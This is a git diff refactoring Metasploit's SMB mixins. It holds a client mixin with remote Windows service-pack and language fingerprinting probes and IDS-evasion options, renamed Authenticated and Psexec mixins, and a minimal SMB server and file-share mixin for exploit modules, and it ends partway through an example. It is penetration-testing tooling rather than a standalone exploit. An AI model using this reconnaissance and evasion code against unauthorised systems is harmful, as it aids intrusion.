[out] buffers - # - handle = dcerpc_handle( - '4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', - 'ncacn_np', ["\\BROWSER"] - ) - - begin - dcerpc_bind(handle) - - stub = - NDR.uwstring(Rex::Text.rand_text_alpha(rand(10)+1)) + - NDR.wstring(Rex::Text.rand_text_alpha(rand(10)+1)) + - NDR.long(64001) + - NDR.long(0) + - NDR.long(0) - - dcerpc.call(0x22, stub) - sp = "Service Pack 0 / 1" - - rescue ::Interrupt - raise $! - rescue ::Rex::Proto::SMB::Exceptions::ErrorCode - rescue ::Rex::Proto::SMB::Exceptions::ReadPacket - rescue ::Rex::Proto::DCERPC::Exceptions::Fault - sp = "Service Pack 2+" - rescue ::Exception - end - - - # - # Service Pack 3 fixed information leaks via [unique][out] pointers - # Call SRVSVC::NetRemoteTOD() to return [out] [ref] [unique] - # Credit: - # Pointer leak is well known, but Immunity also covered in a paper - # Silent fix of pointer leak in SP3 and detection method by Rhys Kidd - # - handle = dcerpc_handle( - '4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', - 'ncacn_np', ["\\BROWSER"] - ) - - begin - dcerpc_bind(handle) - - stub = NDR.uwstring(Rex::Text.rand_text_alpha(rand(8)+1)) - resp = dcerpc.call(0x1c, stub) - - if(resp and resp[0,4] == "\x00\x00\x02\x00") - sp = "Service Pack 3" - else - if(resp and sp =~ /Service Pack 2\+/) - sp = "Service Pack 2" - end - end - - rescue ::Interrupt - raise $! - rescue ::Rex::Proto::SMB::Exceptions::ErrorCode - rescue ::Rex::Proto::SMB::Exceptions::ReadPacket - rescue ::Exception - end - end - - sp - end - - - # - # Determine the native language pack of a Windows system via SMB probes - # - def smb_fingerprint_windows_lang - - # - # Remote language detection via Print Providers - # Credit: http://immunityinc.com/downloads/Remote_Language_Detection_in_Immunity_CANVAS.odt - # - - lang = 'Unknown' - - sigs = - { - 'English' => - [ - Rex::Text.to_unicode('Windows NT Remote Printers'), - Rex::Text.to_unicode('LanMan Print Services') - ], - 'Spanish' => - [ - Rex::Text.to_unicode('Impresoras remotas Windows NT'), - Rex::Text.to_unicode('Impresoras remotas de Windows NT') - ], - 'Italian' => - [ - Rex::Text.to_unicode('Stampanti remote di Windows NT'), - Rex::Text.to_unicode('Servizi di stampa LanMan') - ], - 'French' => - [ - Rex::Text.to_unicode('Imprimantes distantes NT'), - Rex::Text.to_unicode('Imprimantes distantes pour Windows NT'), - Rex::Text.to_unicode("Services d'impression LanMan") - ], - 'German' => - [ - Rex::Text.to_unicode('Remotedrucker') - ], - 'Portuguese - Brazilian' => - [ - Rex::Text.to_unicode('Impr. remotas Windows NT'), - Rex::Text.to_unicode('Impressoras remotas do Windows NT') - ], - 'Portuguese' => - [ - Rex::Text.to_unicode('Imp. remotas do Windows NT') - ], - 'Hungarian' => - [ - Rex::Text.to_unicode("\x54\xe1\x76\x6f\x6c\x69\x20\x6e\x79\x6f\x6d\x74\x61\x74\xf3\x6b") - ], - 'Finnish' => - [ - Rex::Text.to_unicode("\x45\x74\xe4\x74\x75\x6c\x6f\x73\x74\x69\x6d\x65\x74") - ], - 'Dutch' => - [ - Rex::Text.to_unicode('Externe printers voor NT') - ], - 'Danish' => - [ - Rex::Text.to_unicode('Fjernprintere') - ], - 'Swedish' => - [ - Rex::Text.to_unicode("\x46\x6a\xe4\x72\x72\x73\x6b\x72\x69\x76\x61\x72\x65") - ], - 'Polish' => - [ - Rex::Text.to_unicode('Zdalne drukarki') - ], - 'Czech' => - [ - Rex::Text.to_unicode("\x56\x7a\x64\xe1\x6c\x65\x6e\xe9\x20\x74\x69\x73\x6b\xe1\x72\x6e\x79") - ], - 'Turkish' => - [ - "\x59\x00\x61\x00\x7a\x00\x31\x01\x63\x00\x31\x01\x6c\x00\x61\x00\x72\x00" - ], - 'Japanese' => - [ - "\xea\x30\xe2\x30\xfc\x30\xc8\x30\x20\x00\xd7\x30\xea\x30\xf3\x30\xbf\x30" - ], - 'Chinese - Traditional' => - [ - "\xdc\x8f\x0b\x7a\x53\x62\x70\x53\x3a\x67" - ], - 'Chinese - Traditional / Taiwan' => - [ - "\x60\x90\xef\x7a\x70\x53\x68\x88\x5f\x6a", - ], - 'Korean' => - [ - "\xd0\xc6\xa9\xac\x20\x00\x04\xd5\xb0\xb9\x30\xd1", - ], - 'Russian' => - [ - "\x1f\x04\x40\x04\x38\x04\x3d\x04\x42\x04\x35\x04\x40\x04\x4b\x04\x20\x00\x43\x04\x34\x04\x30\x04\x3b\x04\x35\x04\x3d\x04\x3d\x04\x3e\x04\x33\x04\x3e\x04\x20\x00\x34\x04\x3e\x04\x41\x04\x42\x04\x43\x04\x3f\x04\x30\x04", - ], - - } - - begin - prov = smb_enumprintproviders() - if(prov) - sigs.each_key do |k| - sigs[k].each do |s| - if(prov.index(s)) - lang = k - break - end - break if lang != 'Unknown' - end - break if lang != 'Unknown' - end - - if(lang == 'Unknown') - - @fpcache ||= {} - mhash = ::Digest::MD5.hexdigest(prov[4,prov.length-4]) - - if(not @fpcache[mhash]) - - buff = "\n" - buff << "*** NEW FINGERPRINT: PLEASE SEND TO [ msfdev[at]metasploit.com ]\n" - buff << " VERS: $Revision$\n" - buff << " HOST: #{rhost}\n" - buff << " OS: #{os}\n" - buff << " SP: #{sp}\n" - - prov.unpack("H*")[0].scan(/.{64}|.*/).each do |line| - next if line.length == 0 - buff << " FP: #{line}\n" - end - - prov.split(/\x00\x00+/n).each do |line| - line.gsub!("\x00",'') - line.strip! - next if line.length < 6 - - buff << " TXT: #{line}\n" - end - - buff << "*** END FINGERPRINT\n" - - print_line(buff) - - @fpcache[mhash] = true - end - - end - end - rescue ::Interrupt - raise $! - rescue ::Rex::Proto::SMB::Exceptions::ErrorCode - end - lang - end - - # @return [Rex::Proto::SMB::SimpleClient] - attr_accessor :simple - -end - - -end diff --git a/lib/msf/core/exploit/smb/client.rb b/lib/msf/core/exploit/smb/client.rb new file mode 100644 index 000000000000..a415a9bf4bff --- /dev/null +++ b/lib/msf/core/exploit/smb/client.rb @@ -0,0 +1,636 @@ +# -*- coding: binary -*- +require 'rex/proto/smb' +require 'rex/proto/ntlm' +require 'rex/proto/dcerpc' +require 'rex/encoder/ndr' + +module Msf + module Exploit::Remote::SMB + # This mixin provides utility methods for interacting with a SMB/CIFS service on + # a remote machine. These methods may generally be useful in the context of + # exploitation. This mixin extends the Tcp exploit mixin. Only one SMB + # service can be accessed at a time using this class. + module Client + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::NTLM::Client + + SIMPLE = Rex::Proto::SMB::SimpleClient + XCEPT = Rex::Proto::SMB::Exceptions + CONST = Rex::Proto::SMB::Constants + + + # Alias over the Rex DCERPC protocol modules + DCERPCPacket = Rex::Proto::DCERPC::Packet + DCERPCClient = Rex::Proto::DCERPC::Client + DCERPCResponse = Rex::Proto::DCERPC::Response + DCERPCUUID = Rex::Proto::DCERPC::UUID + NDR = Rex::Encoder::NDR + + def initialize(info = {}) + super + + register_evasion_options( + [ + OptBool.new('SMB::pipe_evasion', [ true, 'Enable segmented read/writes for SMB Pipes', false]), + OptInt.new('SMB::pipe_write_min_size', [ true, 'Minimum buffer size for pipe writes', 1]), + OptInt.new('SMB::pipe_write_max_size', [ true, 'Maximum buffer size for pipe writes', 1024]), + OptInt.new('SMB::pipe_read_min_size', [ true, 'Minimum buffer size for pipe reads', 1]), + OptInt.new('SMB::pipe_read_max_size', [ true, 'Maximum buffer size for pipe reads', 1024]), + OptInt.new('SMB::pad_data_level', [ true, 'Place extra padding between headers and data (level 0-3)', 0]), + OptInt.new('SMB::pad_file_level', [ true, 'Obscure path names used in open/create (level 0-3)', 0]), + OptInt.new('SMB::obscure_trans_pipe_level', [ true, 'Obscure PIPE string in TransNamedPipe (level 0-3)', 0]), + + ], Msf::Exploit::Remote::SMB::Client) + + register_advanced_options( + [ + OptBool.new('SMBDirect', [ true, 'The target port is a raw SMB service (not NetBIOS)', true ]), + OptString.new('SMBUser', [ false, 'The username to authenticate as', '']), + OptString.new('SMBPass', [ false, 'The password for the specified username', '']), + OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', '.']), + OptString.new('SMBName', [ true, 'The NetBIOS hostname (required for port 139 connections)', '*SMBSERVER']), + OptBool.new('SMB::VerifySignature', [ true, "Enforces client-side verification of server response signatures", false]), + OptInt.new('SMB::ChunkSize', [ true, 'The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing', 500]), + # + # Control the identified operating system of the client + # + OptString.new('SMB::Native_OS', [ true, 'The Native OS to send during authentication', 'Windows 2000 2195']), + OptString.new('SMB::Native_LM', [ true, 'The Native LM to send during authentication', 'Windows 2000 5.0']), + + ], Msf::Exploit::Remote::SMB::Client) + + register_options( + [ + Opt::RHOST, + OptInt.new('RPORT', [ true, 'Set the SMB service port', 445]) + ], Msf::Exploit::Remote::SMB::Client) + + register_autofilter_ports([ 139, 445]) + register_autofilter_services(%W{ netbios-ssn microsoft-ds }) + end + + # Override {Exploit::Remote::Tcp#connect} to setup an SMB connection + # and configure evasion options + # + # Also populates {#simple}. + # + # @param (see Exploit::Remote::Tcp#connect) + # @return (see Exploit::Remote::Tcp#connect) + def connect(global=true) + + disconnect() if global + + s = super(global) + self.sock = s if global + + # Disable direct SMB when SMBDirect has not been set + # and the destination port is configured as 139 + direct = smb_direct + if(datastore.default?('SMBDirect') and rport.to_i == 139) + direct = false + end + + c = SIMPLE.new(s, direct) + + # setup pipe evasion foo + if datastore['SMB::pipe_evasion'] + # XXX - insert code to change the instance of the read/write functions to do segmentation + end + + if (datastore['SMB::pad_data_level']) + c.client.evasion_opts['pad_data'] = datastore['SMB::pad_data_level'] + end + + if (datastore['SMB::pad_file_level']) + c.client.evasion_opts['pad_file'] = datastore['SMB::pad_file_level'] + end + + if (datastore['SMB::obscure_trans_pipe_level']) + c.client.evasion_opts['obscure_trans_pipe'] = datastore['SMB::obscure_trans_pipe_level'] + end + + self.simple = c if global + c + end + + # Convert a standard ASCII string to 16-bit Unicode + def unicode(str) + Rex::Text.to_unicode(str) + end + + # Establishes an SMB session over the default socket and connects to + # the IPC$ share. + # + # You should call {#connect} before calling this + # + # @return [void] + def smb_login + simple.login( + datastore['SMBName'], + datastore['SMBUser'], + datastore['SMBPass'], + datastore['SMBDomain'], + datastore['SMB::VerifySignature'], + datastore['NTLM::UseNTLMv2'], + datastore['NTLM::UseNTLM2_session'], + datastore['NTLM::SendLM'], + datastore['NTLM::UseLMKey'], + datastore['NTLM::SendNTLM'], + datastore['SMB::Native_OS'], + datastore['SMB::Native_LM'], + {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} + ) + simple.connect("\\\\#{datastore['RHOST']}\\IPC$") + end + + + # This method returns the native operating system of the peer + def smb_peer_os + self.simple.client.peer_native_os + end + + # This method returns the native lanman version of the peer + def smb_peer_lm + self.simple.client.peer_native_lm + end + + # This method opens a handle to an IPC pipe + def smb_create(pipe) + self.simple.create_pipe(pipe) + end + + #the default chunk size of 48000 for OpenFile is not compatible when signing is enabled (and with some nt4 implementations) + #cause it looks like MS windows refuse to sign big packet and send STATUS_ACCESS_DENIED + #fd.chunk_size = 500 is better + def smb_open(path, perm) + self.simple.open(path, perm, datastore['SMB::ChunkSize']) + end + + def smb_hostname + datastore['SMBName'] || '*SMBSERVER' + end + + def smb_direct + datastore['SMBDirect'] + end + + def domain + datastore['SMBDomain'] + end + + def smbhost + if domain == "." + "#{rhost}:#{rport}" + else + "#{rhost}:#{rport}|#{domain}" + end + end + + # If the username contains a / slash, then + # split it as a domain/username. NOTE: this + # is predicated on forward slashes, and not + # Microsoft's backwards slash convention. + def domain_username_split(user) + return user if(user.nil? || user.empty?) + if !user[/\//] # Only /, not \! + return [nil,user] + else + return user.split("/",2) + end + end + + def splitname(uname) + if datastore["PRESERVE_DOMAINS"] + d,u = domain_username_split(uname) + return u + else + return uname + end + end + + # Whether a remote file exists + # + # @param file [String] Path to a file to remove, relative to the + # most-recently connected share + # @raise [Rex::Proto::SMB::Exceptions::ErrorCode] + def smb_file_exist?(file) + begin + fd = simple.open(file, 'ro') + rescue XCEPT::ErrorCode => e + # If attempting to open the file results in a "*_NOT_FOUND" error, + # then we can be sure the file is not there. + # + # Copy-pasted from smb/exceptions.rb to avoid the gymnastics + # required to pull them out of a giant inverted hash + # + # 0xC0000034 => "STATUS_OBJECT_NAME_NOT_FOUND", + # 0xC000003A => "STATUS_OBJECT_PATH_NOT_FOUND", + # 0xC0000225 => "STATUS_NOT_FOUND", + error_is_not_found = [ 0xC0000034, 0xC000003A, 0xC0000225 ].include?(e.error_code) + # If the server returns some other error, then there was a + # permissions problem or some other difficulty that we can't + # really account for and hope the caller can deal with it. + raise e unless error_is_not_found + found = !error_is_not_found + else + # There was no exception, so we know the file is openable + fd.close + found = true + end + + found + end + + # Remove remote file + # + # @param file (see #smb_file_exist?) + # @return [void] + def smb_file_rm(file) + fd = smb_open(file, 'ro') + fd.delete + end + + + # + # Fingerprinting methods + # + + + # Calls the EnumPrinters() function of the spooler service + def smb_enumprinters(flags, name, level, blen) + stub = + NDR.long(flags) + + (name ? NDR.uwstring(name) : NDR.long(0)) + + NDR.long(level) + + NDR.long(rand(0xffffffff)+1)+ + NDR.long(blen) + + "\x00" * blen + + NDR.long(blen) + + handle = dcerpc_handle( + '12345678-1234-abcd-ef00-0123456789ab', '1.0', + 'ncacn_np', ["\\SPOOLSS"] + ) + + begin + dcerpc_bind(handle) + dcerpc.call(0x00, stub) + return dcerpc.last_response.stub_data + rescue ::Interrupt + raise $! + rescue ::Exception => e + return nil + end + end + + # This method dumps the print provider strings from the spooler + def smb_enumprintproviders + resp = smb_enumprinters(8, nil, 1, 0) + return nil if not resp + rptr, tmp, blen = resp.unpack("V*") + + resp = smb_enumprinters(8, nil, 1, blen) + return nil if not resp + + bcnt,pcnt,stat = resp[-12, 12].unpack("VVV") + return nil if stat != 0 + return nil if pcnt == 0 + return nil if bcnt > blen + return nil if pcnt < 3 + + # + # The correct way, which leads to invalid offsets :-( + # + #providers = [] + # + #0.upto(pcnt-1) do |i| + # flags,desc_o,name_o,comm_o = resp[8 + (i*16), 16].unpack("VVVV") + # + # #desc = read_unicode(resp,8+desc_o).gsub("\x00", '') + # #name = read_unicode(resp,8+name_o).gsub("\x00", '') + # #comm = read_unicode(resp,8+comm_o).gsub("\x00", '') + # #providers << [flags,desc,name,comm] + #end + # + #providers + + return resp + + end + + # This method performs an extensive set of fingerprinting operations + def smb_fingerprint + fprint = {} + + # Connect to the server if needed + if not self.simple + connect() + smb_login() + end + + fprint['native_os'] = smb_peer_os() + fprint['native_lm'] = smb_peer_lm() + + # Leverage Recog for SMB native OS fingerprinting + fp_match = Recog::Nizer.match('smb.native_os', fprint['native_os']) || { } + + os = fp_match['os.product'] || 'Unknown' + sp = fp_match['os.version'] || '' + + # Metasploit prefers 'Windows 2003' vs 'Windows Server 2003' + if os =~ /^Windows Server/ + os = os.sub(/^Windows Server/, 'Windows') + end + + if fp_match['os.edition'] + fprint['edition'] = fp_match['os.edition'] + end + + if fp_match['os.build'] + fprint['build'] = fp_match['os.build'] + end + + if sp == '' + sp = smb_fingerprint_windows_sp(os) + end + + lang = smb_fingerprint_windows_lang + + fprint['os'] = os + fprint['sp'] = sp + fprint['lang'] = lang + + fprint + end + + # + # Determine the service pack level of a Windows system via SMB probes + # + def smb_fingerprint_windows_sp(os) + sp = '' + + if (os == 'Windows XP') + # SRVSVC was blocked in SP2 + begin + smb_create("\\SRVSVC") + sp = 'Service Pack 0 / 1' + rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e + if (e.error_code == 0xc0000022) + sp = 'Service Pack 2+' + end + end + end + + if (os == 'Windows 2000' and sp.length == 0) + # LLSRPC was blocked in a post-SP4 update + begin + smb_create("\\LLSRPC") + sp = 'Service Pack 0 - 4' + rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e + if (e.error_code == 0xc0000022) + sp = 'Service Pack 4 with MS05-010+' + end + end + end + + # + # Perform granular XP SP checks if LSARPC is exposed + # + if (os == 'Windows XP') + + # + # Service Pack 2 added a range(0,64000) to opnum 0x22 in SRVSVC + # Credit to spoonm for first use of unbounded [out] buffers + # + handle = dcerpc_handle( + '4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', + 'ncacn_np', ["\\BROWSER"] + ) + + begin + dcerpc_bind(handle) + + stub = + NDR.uwstring(Rex::Text.rand_text_alpha(rand(10)+1)) + + NDR.wstring(Rex::Text.rand_text_alpha(rand(10)+1)) + + NDR.long(64001) + + NDR.long(0) + + NDR.long(0) + + dcerpc.call(0x22, stub) + sp = "Service Pack 0 / 1" + + rescue ::Interrupt + raise $! + rescue ::Rex::Proto::SMB::Exceptions::ErrorCode + rescue ::Rex::Proto::SMB::Exceptions::ReadPacket + rescue ::Rex::Proto::DCERPC::Exceptions::Fault + sp = "Service Pack 2+" + rescue ::Exception + end + + + # + # Service Pack 3 fixed information leaks via [unique][out] pointers + # Call SRVSVC::NetRemoteTOD() to return [out] [ref] [unique] + # Credit: + # Pointer leak is well known, but Immunity also covered in a paper + # Silent fix of pointer leak in SP3 and detection method by Rhys Kidd + # + handle = dcerpc_handle( + '4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', + 'ncacn_np', ["\\BROWSER"] + ) + + begin + dcerpc_bind(handle) + + stub = NDR.uwstring(Rex::Text.rand_text_alpha(rand(8)+1)) + resp = dcerpc.call(0x1c, stub) + + if(resp and resp[0,4] == "\x00\x00\x02\x00") + sp = "Service Pack 3" + else + if(resp and sp =~ /Service Pack 2\+/) + sp = "Service Pack 2" + end + end + + rescue ::Interrupt + raise $! + rescue ::Rex::Proto::SMB::Exceptions::ErrorCode + rescue ::Rex::Proto::SMB::Exceptions::ReadPacket + rescue ::Exception + end + end + + sp + end + + + # + # Determine the native language pack of a Windows system via SMB probes + # + def smb_fingerprint_windows_lang + + # + # Remote language detection via Print Providers + # Credit: http://immunityinc.com/downloads/Remote_Language_Detection_in_Immunity_CANVAS.odt + # + + lang = 'Unknown' + + sigs = + { + 'English' => + [ + Rex::Text.to_unicode('Windows NT Remote Printers'), + Rex::Text.to_unicode('LanMan Print Services') + ], + 'Spanish' => + [ + Rex::Text.to_unicode('Impresoras remotas Windows NT'), + Rex::Text.to_unicode('Impresoras remotas de Windows NT') + ], + 'Italian' => + [ + Rex::Text.to_unicode('Stampanti remote di Windows NT'), + Rex::Text.to_unicode('Servizi di stampa LanMan') + ], + 'French' => + [ + Rex::Text.to_unicode('Imprimantes distantes NT'), + Rex::Text.to_unicode('Imprimantes distantes pour Windows NT'), + Rex::Text.to_unicode("Services d'impression LanMan") + ], + 'German' => + [ + Rex::Text.to_unicode('Remotedrucker') + ], + 'Portuguese - Brazilian' => + [ + Rex::Text.to_unicode('Impr. remotas Windows NT'), + Rex::Text.to_unicode('Impressoras remotas do Windows NT') + ], + 'Portuguese' => + [ + Rex::Text.to_unicode('Imp. remotas do Windows NT') + ], + 'Hungarian' => + [ + Rex::Text.to_unicode("\x54\xe1\x76\x6f\x6c\x69\x20\x6e\x79\x6f\x6d\x74\x61\x74\xf3\x6b") + ], + 'Finnish' => + [ + Rex::Text.to_unicode("\x45\x74\xe4\x74\x75\x6c\x6f\x73\x74\x69\x6d\x65\x74") + ], + 'Dutch' => + [ + Rex::Text.to_unicode('Externe printers voor NT') + ], + 'Danish' => + [ + Rex::Text.to_unicode('Fjernprintere') + ], + 'Swedish' => + [ + Rex::Text.to_unicode("\x46\x6a\xe4\x72\x72\x73\x6b\x72\x69\x76\x61\x72\x65") + ], + 'Polish' => + [ + Rex::Text.to_unicode('Zdalne drukarki') + ], + 'Czech' => + [ + Rex::Text.to_unicode("\x56\x7a\x64\xe1\x6c\x65\x6e\xe9\x20\x74\x69\x73\x6b\xe1\x72\x6e\x79") + ], + 'Turkish' => + [ + "\x59\x00\x61\x00\x7a\x00\x31\x01\x63\x00\x31\x01\x6c\x00\x61\x00\x72\x00" + ], + 'Japanese' => + [ + "\xea\x30\xe2\x30\xfc\x30\xc8\x30\x20\x00\xd7\x30\xea\x30\xf3\x30\xbf\x30" + ], + 'Chinese - Traditional' => + [ + "\xdc\x8f\x0b\x7a\x53\x62\x70\x53\x3a\x67" + ], + 'Chinese - Traditional / Taiwan' => + [ + "\x60\x90\xef\x7a\x70\x53\x68\x88\x5f\x6a", + ], + 'Korean' => + [ + "\xd0\xc6\xa9\xac\x20\x00\x04\xd5\xb0\xb9\x30\xd1", + ], + 'Russian' => + [ + "\x1f\x04\x40\x04\x38\x04\x3d\x04\x42\x04\x35\x04\x40\x04\x4b\x04\x20\x00\x43\x04\x34\x04\x30\x04\x3b\x04\x35\x04\x3d\x04\x3d\x04\x3e\x04\x33\x04\x3e\x04\x20\x00\x34\x04\x3e\x04\x41\x04\x42\x04\x43\x04\x3f\x04\x30\x04", + ], + + } + + begin + prov = smb_enumprintproviders() + if(prov) + sigs.each_key do |k| + sigs[k].each do |s| + if(prov.index(s)) + lang = k + break + end + break if lang != 'Unknown' + end + break if lang != 'Unknown' + end + + if(lang == 'Unknown') + + @fpcache ||= {} + mhash = ::Digest::MD5.hexdigest(prov[4,prov.length-4]) + + if(not @fpcache[mhash]) + + buff = "\n" + buff << "*** NEW FINGERPRINT: PLEASE SEND TO [ msfdev[at]metasploit.com ]\n" + buff << " VERS: $Revision$\n" + buff << " HOST: #{rhost}\n" + buff << " OS: #{os}\n" + buff << " SP: #{sp}\n" + + prov.unpack("H*")[0].scan(/.{64}|.*/).each do |line| + next if line.length == 0 + buff << " FP: #{line}\n" + end + + prov.split(/\x00\x00+/n).each do |line| + line.gsub!("\x00",'') + line.strip! + next if line.length < 6 + + buff << " TXT: #{line}\n" + end + + buff << "*** END FINGERPRINT\n" + + print_line(buff) + + @fpcache[mhash] = true + end + + end + end + rescue ::Interrupt + raise $! + rescue ::Rex::Proto::SMB::Exceptions::ErrorCode + end + lang + end + + # @return [Rex::Proto::SMB::SimpleClient] + attr_accessor :simple + end + end +end diff --git a/lib/msf/core/exploit/smb/authenticated.rb b/lib/msf/core/exploit/smb/client/authenticated.rb similarity index 77% rename from lib/msf/core/exploit/smb/authenticated.rb rename to lib/msf/core/exploit/smb/client/authenticated.rb index f4919b71ff44..8f865afcbb3b 100644 --- a/lib/msf/core/exploit/smb/authenticated.rb +++ b/lib/msf/core/exploit/smb/client/authenticated.rb @@ -4,9 +4,9 @@ module Msf # Mini-mixin for making SMBUser/SMBPass/SMBDomain regular options vs advanced # Included when the module needs credentials to function -module Exploit::Remote::SMB::Authenticated +module Exploit::Remote::SMB::Client::Authenticated - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super @@ -15,7 +15,7 @@ def initialize(info = {}) OptString.new('SMBUser', [ false, 'The username to authenticate as', '']), OptString.new('SMBPass', [ false, 'The password for the specified username', '']), OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', 'WORKGROUP']), - ], Msf::Exploit::Remote::SMB::Authenticated) + ], Msf::Exploit::Remote::SMB::Client::Authenticated) end end diff --git a/lib/msf/core/exploit/smb/psexec.rb b/lib/msf/core/exploit/smb/client/psexec.rb similarity index 98% rename from lib/msf/core/exploit/smb/psexec.rb rename to lib/msf/core/exploit/smb/client/psexec.rb index 1fe6c498bc93..3d3ff89ad96b 100644 --- a/lib/msf/core/exploit/smb/psexec.rb +++ b/lib/msf/core/exploit/smb/client/psexec.rb @@ -11,11 +11,11 @@ module Msf # and running a binary. #### -module Exploit::Remote::SMB::Psexec +module Exploit::Remote::SMB::Client::Psexec include Rex::Constants::Windows include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client::Authenticated def initialize(info = {}) super diff --git a/lib/msf/core/exploit/smb/server.rb b/lib/msf/core/exploit/smb/server.rb new file mode 100644 index 000000000000..3efb46ff579e --- /dev/null +++ b/lib/msf/core/exploit/smb/server.rb @@ -0,0 +1,156 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB + # This mixin provides a minimal SMB server + module Server + include Msf::Exploit::Remote::TcpServer + include Msf::Exploit::NTLM + CONST = ::Rex::Proto::SMB::Constants + CRYPT = ::Rex::Proto::SMB::Crypt + UTILS = ::Rex::Proto::SMB::Utils + XCEPT = ::Rex::Proto::SMB::Exceptions + EVADE = ::Rex::Proto::SMB::Evasions + + def initialize(info = {}) + super + + deregister_options('SSL', 'SSLCert') + register_options( + [ + OptPort.new('SRVPORT', [ true, "The local port to listen on.", 445 ]) + ], self.class) + end + + def setup + super + @state = {} + end + + def on_client_connect(client) + # print_status("New SMB connection from #{client.peerhost}:#{client.peerport}") + smb_conn(client) + end + + def on_client_data(client) + # print_status("New data from #{client.peerhost}:#{client.peerport}") + smb_recv(client) + true + end + + def on_client_close(client) + smb_stop(client) + end + + def smb_conn(c) + @state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport} + end + + def smb_stop(c) + @state.delete(c) + end + + def smb_recv(c) + smb = @state[c] + smb[:data] ||= '' + smb[:data] << c.get_once + + while(smb[:data].length > 0) + + return if smb[:data].length < 4 + + plen = smb[:data][2,2].unpack('n')[0] + + return if smb[:data].length < plen+4 + + buff = smb[:data].slice!(0, plen+4) + + pkt_nbs = CONST::NBRAW_PKT.make_struct + pkt_nbs.from_s(buff) + + # print_status("NetBIOS request from #{smb[:name]} #{pkt_nbs.v['Type']} #{pkt_nbs.v['Flags']} #{buff.inspect}") + + # Check for a NetBIOS name request + if (pkt_nbs.v['Type'] == 0x81) + # Accept any name they happen to send + + host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/n, '') + host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/n, '') + + smb[:nbdst] = host_dst + smb[:nbsrc] = host_src + + # print_status("NetBIOS session request from #{smb[:name]} (asking for #{host_dst} from #{host_src})") + c.write("\x82\x00\x00\x00") + next + end + + + # + # TODO: Support AndX parameters + # + + + # Cast this to a generic SMB structure + pkt = CONST::SMB_BASE_PKT.make_struct + pkt.from_s(buff) + + # Only response to requests, ignore server replies + if (pkt['Payload']['SMB'].v['Flags1'] & 128 != 0) + print_status("Ignoring server response from #{smb[:name]}") + next + end + + cmd = pkt['Payload']['SMB'].v['Command'] + begin + smb_cmd_dispatch(cmd, c, buff) + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_status("Error processing request from #{smb[:name]} (#{cmd}): #{e.class} #{e} #{e.backtrace}") + next + end + end + end + + def smb_cmd_dispatch(cmd, c, buff) + smb = @state[c] + print_status("Received command #{cmd} from #{smb[:name]}") + end + + def smb_set_defaults(c, pkt) + smb = @state[c] + pkt['Payload']['SMB'].v['ProcessID'] = smb[:process_id].to_i + pkt['Payload']['SMB'].v['UserID'] = smb[:user_id].to_i + pkt['Payload']['SMB'].v['TreeID'] = smb[:tree_id].to_i + pkt['Payload']['SMB'].v['MultiplexID'] = smb[:multiplex_id].to_i + end + + def smb_error(cmd, c, errorclass, esn = false) + # 0xc0000022 = Deny + # 0xc000006D = Logon_Failure + # 0x00000000 = Ignore + pkt = CONST::SMB_BASE_PKT.make_struct + smb_set_defaults(c, pkt) + pkt['Payload']['SMB'].v['Command'] = cmd + pkt['Payload']['SMB'].v['Flags1'] = CONST::FLAGS_REQ_RES | CONST::FLAGS_CASE_SENSITIVE + if esn + pkt['Payload']['SMB'].v['Flags2'] = + CONST::FLAGS2_UNICODE_STRINGS + + CONST::FLAGS2_EXTENDED_SECURITY + + CONST::FLAGS2_32_BIT_ERROR_CODES + + CONST::FLAGS2_LONG_PATH_COMPONENTS + else + pkt['Payload']['SMB'].v['Flags2'] = + CONST::FLAGS2_UNICODE_STRINGS + + CONST::FLAGS2_32_BIT_ERROR_CODES + + CONST::FLAGS2_LONG_PATH_COMPONENTS + end + pkt['Payload']['SMB'].v['ErrorClass'] = errorclass + c.put(pkt.to_s) + end + end + end + +end + diff --git a/lib/msf/core/exploit/smb/server/share.rb b/lib/msf/core/exploit/smb/server/share.rb new file mode 100644 index 000000000000..a014f8911ffd --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share.rb @@ -0,0 +1,297 @@ +# -*- coding: binary -*- +require 'rex/socket' +require 'rex/proto/smb' +require 'rex/text' +require 'rex/logging' +require 'rex/struct2' +require 'rex/proto/smb/constants' +require 'rex/proto/smb/utils' +require 'rex/proto/dcerpc' + +module Msf + module Exploit::Remote::SMB::Server + # This mixin provides a minimal SMB server sharing an UNC resource. At + # this moment it is capable to share just one file. And the file should + # live in the root folder "\\". + # + # @example Use it from an Auxiliary module + # require 'msf/core' + # + # class Metasploit3 < Msf::Auxiliary + # + # include Msf::Exploit::Remote::SMB::Server::Share + # + # def initialize + # super( + # 'Name' => 'SMB File Server', + # 'Description' => %q{ + # This module provides a SMB File Server service + # }, + # 'Author' => + # [ + # 'Matthew Hall', + # 'juan vazquez' + # ], + # 'License' => MSF_LICENSE, + # 'Actions' => + # [ + # ['Service'] + # ], + # 'PassiveActions' => + # [ + # 'Service' + # ], + # 'DefaultAction' => 'Service' + # ) + # end + # + # def run + # print_status("Starting SMB Server on #{unc}...") + # exploit + # end + # + # def primer + # print_status("Primer...") + # self.file_contents = 'METASPLOIT' + # end + # end + # + # @example Use it from an Exploit module + # require 'msf/core' + # + # class Metasploit3 < Msf::Exploit::Remote + # Rank = ExcellentRanking + # + # include Msf::Exploit::EXE + # include Msf::Exploit::Remote::SMB::Server::Share + # + # def initialize(info={}) + # super(update_info(info, + # 'Name' => "Example Exploit", + # 'Description' => %q{ + # Example exploit, the Server shares 